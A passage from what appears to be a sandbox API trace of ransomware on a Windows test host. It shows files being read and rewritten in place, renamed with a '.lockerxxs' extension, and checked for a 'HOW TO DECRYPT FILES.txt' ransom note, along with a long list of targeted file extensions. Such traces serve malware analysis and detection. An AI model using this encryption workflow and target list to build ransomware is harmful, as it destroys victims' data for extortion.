HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a" [0090.402] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a." [0090.402] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a.lockerxxs" [0090.402] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\sbc7u9p4jsustm4f2\\q4piow.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.403] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x119e7 [0090.403] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x221c0ff0, dwHighDateTime=0x1d5e54b), lpLastAccessTime=0x407536*(dwLowDateTime=0x25284fe0, dwHighDateTime=0x1d5e4da), lpLastWriteTime=0x40753e*(dwLowDateTime=0x25284fe0, dwHighDateTime=0x1d5e4da)) returned 1 [0090.403] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.403] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x119c1, lpOverlapped=0x0) returned 1 [0090.405] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a") returned="Q4piow.m4a" [0090.406] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.406] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x119c1, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x119c1, lpOverlapped=0x0) returned 1 [0090.406] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.406] CloseHandle (hObject=0x90) returned 1 [0090.407] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\sbc7u9p4jsustm4f2\\q4piow.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\sbc7u9p4jsustm4f2\\q4piow.m4a.lockerxxs")) returned 1 [0090.408] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a213420, ftCreationTime.dwHighDateTime=0x1d5d7d8, ftLastAccessTime.dwLowDateTime=0x26b782c0, ftLastAccessTime.dwHighDateTime=0x1d5e748, ftLastWriteTime.dwLowDateTime=0x26b782c0, ftLastWriteTime.dwHighDateTime=0x1d5e748, nFileSizeHigh=0x0, nFileSizeLow=0x410d, dwReserved0=0x3c00033f, dwReserved1=0x4e00c4, cFileName="qrU7.m4a", cAlternateFileName="")) returned 1 [0090.408] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.408] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="qrU7.m4a") returned -1 [0090.408] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="qrU7.m4a") returned -1 [0090.408] lstrcmpiA (lpString1="", lpString2="qrU7.m4a") returned -1 [0090.408] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\Q4piow.m4a") returned="Q4piow.m4a" [0090.408] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\" [0090.408] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\") returned="" [0090.408] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\HOW TO DECRYPT FILES.txt" [0090.408] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\sbc7u9p4jsustm4f2\\how to decrypt files.txt")) returned 0x20 [0090.408] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\", lpString2="qrU7.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a" [0090.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.ems") returned 0 [0090.409] lstrlenA (lpString="*.ems") returned 5 [0090.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.db") returned 0 [0090.409] lstrlenA (lpString="*.db") returned 4 [0090.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.dbf") returned 0 [0090.409] lstrlenA (lpString="*.dbf") returned 5 [0090.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.myox") returned 0 [0090.409] lstrlenA (lpString="*.myox") returned 6 [0090.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.myo") returned 0 [0090.409] lstrlenA (lpString="*.myo") returned 5 [0090.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.qbw") returned 0 [0090.409] lstrlenA (lpString="*.qbw") returned 5 [0090.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.qbb") returned 0 [0090.409] lstrlenA (lpString="*.qbb") returned 5 [0090.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.qbm") returned 0 [0090.409] lstrlenA (lpString="*.qbm") returned 5 [0090.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.qbo") returned 0 [0090.409] lstrlenA (lpString="*.qbo") returned 5 [0090.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.qbx") returned 0 [0090.409] lstrlenA (lpString="*.qbx") returned 5 [0090.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.qba") returned 0 [0090.409] lstrlenA (lpString="*.qba") returned 5 [0090.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.qby") returned 0 [0090.410] lstrlenA (lpString="*.qby") returned 5 [0090.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.qbj") returned 0 [0090.410] lstrlenA (lpString="*.qbj") returned 5 [0090.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.ofx") returned 0 [0090.410] lstrlenA (lpString="*.ofx") returned 5 [0090.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.qif") returned 0 [0090.410] lstrlenA (lpString="*.qif") returned 5 [0090.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.mye") returned 0 [0090.410] lstrlenA (lpString="*.mye") returned 5 [0090.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.mbox") returned 0 [0090.410] lstrlenA (lpString="*.mbox") returned 6 [0090.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.eml") returned 0 [0090.410] lstrlenA (lpString="*.eml") returned 5 [0090.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.pst") returned 0 [0090.410] lstrlenA (lpString="*.pst") returned 5 [0090.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.ost") returned 0 [0090.410] lstrlenA (lpString="*.ost") returned 5 [0090.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.idx") returned 0 [0090.410] lstrlenA (lpString="*.idx") returned 5 [0090.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.dbx") returned 0 [0090.410] lstrlenA (lpString="*.dbx") returned 5 [0090.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.sql") returned 0 [0090.411] lstrlenA (lpString="*.sql") returned 5 [0090.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.mdb") returned 0 [0090.411] lstrlenA (lpString="*.mdb") returned 5 [0090.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.fdb") returned 0 [0090.411] lstrlenA (lpString="*.fdb") returned 5 [0090.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.wab") returned 0 [0090.411] lstrlenA (lpString="*.wab") returned 5 [0090.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.dat") returned 0 [0090.411] lstrlenA (lpString="*.dat") returned 5 [0090.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.txt") returned 0 [0090.411] lstrlenA (lpString="*.txt") returned 5 [0090.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.jpeg") returned 0 [0090.411] lstrlenA (lpString="*.jpeg") returned 6 [0090.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.jpg") returned 0 [0090.411] lstrlenA (lpString="*.jpg") returned 5 [0090.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.png") returned 0 [0090.411] lstrlenA (lpString="*.png") returned 5 [0090.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.php") returned 0 [0090.411] lstrlenA (lpString="*.php") returned 5 [0090.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.cs") returned 0 [0090.411] lstrlenA (lpString="*.cs") returned 4 [0090.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.cpp") returned 0 [0090.412] lstrlenA (lpString="*.cpp") returned 5 [0090.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.rar") returned 0 [0090.412] lstrlenA (lpString="*.rar") returned 5 [0090.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.zip") returned 0 [0090.412] lstrlenA (lpString="*.zip") returned 5 [0090.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.html") returned 0 [0090.412] lstrlenA (lpString="*.html") returned 6 [0090.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.htm") returned 0 [0090.412] lstrlenA (lpString="*.htm") returned 5 [0090.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.xlsx") returned 0 [0090.412] lstrlenA (lpString="*.xlsx") returned 6 [0090.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.xls") returned 0 [0090.412] lstrlenA (lpString="*.xls") returned 5 [0090.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.mp4") returned 0 [0090.412] lstrlenA (lpString="*.mp4") returned 5 [0090.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.ppt") returned 0 [0090.412] lstrlenA (lpString="*.ppt") returned 5 [0090.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.pptx") returned 0 [0090.412] lstrlenA (lpString="*.pptx") returned 6 [0090.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.doc") returned 0 [0090.413] lstrlenA (lpString="*.doc") returned 5 [0090.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.dot") returned 0 [0090.413] lstrlenA (lpString="*.dot") returned 5 [0090.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.docx") returned 0 [0090.413] lstrlenA (lpString="*.docx") returned 6 [0090.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.7z") returned 0 [0090.413] lstrlenA (lpString="*.7z") returned 4 [0090.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.tar") returned 0 [0090.413] lstrlenA (lpString="*.tar") returned 5 [0090.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.bz2") returned 0 [0090.413] lstrlenA (lpString="*.bz2") returned 5 [0090.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.gz") returned 0 [0090.413] lstrlenA (lpString="*.gz") returned 4 [0090.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.mkv") returned 0 [0090.413] lstrlenA (lpString="*.mkv") returned 5 [0090.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.eml") returned 0 [0090.413] lstrlenA (lpString="*.eml") returned 5 [0090.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.msg") returned 0 [0090.413] lstrlenA (lpString="*.msg") returned 5 [0090.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.edb") returned 0 [0090.414] lstrlenA (lpString="*.edb") returned 5 [0090.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.accdb") returned 0 [0090.414] lstrlenA (lpString="*.accdb") returned 7 [0090.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.odb") returned 0 [0090.414] lstrlenA (lpString="*.odb") returned 5 [0090.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.java") returned 0 [0090.414] lstrlenA (lpString="*.java") returned 6 [0090.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.asm") returned 0 [0090.414] lstrlenA (lpString="*.asm") returned 5 [0090.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.pfx") returned 0 [0090.414] lstrlenA (lpString="*.pfx") returned 5 [0090.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.pem") returned 0 [0090.414] lstrlenA (lpString="*.pem") returned 5 [0090.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.p12") returned 0 [0090.414] lstrlenA (lpString="*.p12") returned 5 [0090.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.gpg") returned 0 [0090.415] lstrlenA (lpString="*.gpg") returned 5 [0090.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.vsd") returned 0 [0090.415] lstrlenA (lpString="*.vsd") returned 5 [0090.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.odg") returned 0 [0090.416] lstrlenA (lpString="*.odg") returned 5 [0090.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.raw") returned 0 [0090.416] lstrlenA (lpString="*.raw") returned 5 [0090.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.nef") returned 0 [0090.416] lstrlenA (lpString="*.nef") returned 5 [0090.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.svg") returned 0 [0090.416] lstrlenA (lpString="*.svg") returned 5 [0090.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.psd") returned 0 [0090.416] lstrlenA (lpString="*.psd") returned 5 [0090.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.vmx") returned 0 [0090.416] lstrlenA (lpString="*.vmx") returned 5 [0090.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.vmdk") returned 0 [0090.416] lstrlenA (lpString="*.vmdk") returned 6 [0090.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.vdi") returned 0 [0090.416] lstrlenA (lpString="*.vdi") returned 5 [0090.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.lay6") returned 0 [0090.416] lstrlenA (lpString="*.lay6") returned 6 [0090.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.mpeg") returned 0 [0090.417] lstrlenA (lpString="*.mpeg") returned 6 [0090.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.djvu") returned 0 [0090.417] lstrlenA (lpString="*.djvu") returned 6 [0090.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.tiff") returned 0 [0090.417] lstrlenA (lpString="*.tiff") returned 6 [0090.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.backup") returned 0 [0090.417] lstrlenA (lpString="*.backup") returned 8 [0090.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.pdf") returned 0 [0090.417] lstrlenA (lpString="*.pdf") returned 5 [0090.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.cert") returned 0 [0090.417] lstrlenA (lpString="*.cert") returned 6 [0090.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.docm") returned 0 [0090.417] lstrlenA (lpString="*.docm") returned 6 [0090.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\SBc7u9p4Jsustm4F2\\qrU7.m4a", pszSpec="*.xlsm") returned 0 [0090.417] lstrlenA (lpString="*.xlsm") returned 6 [0090.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 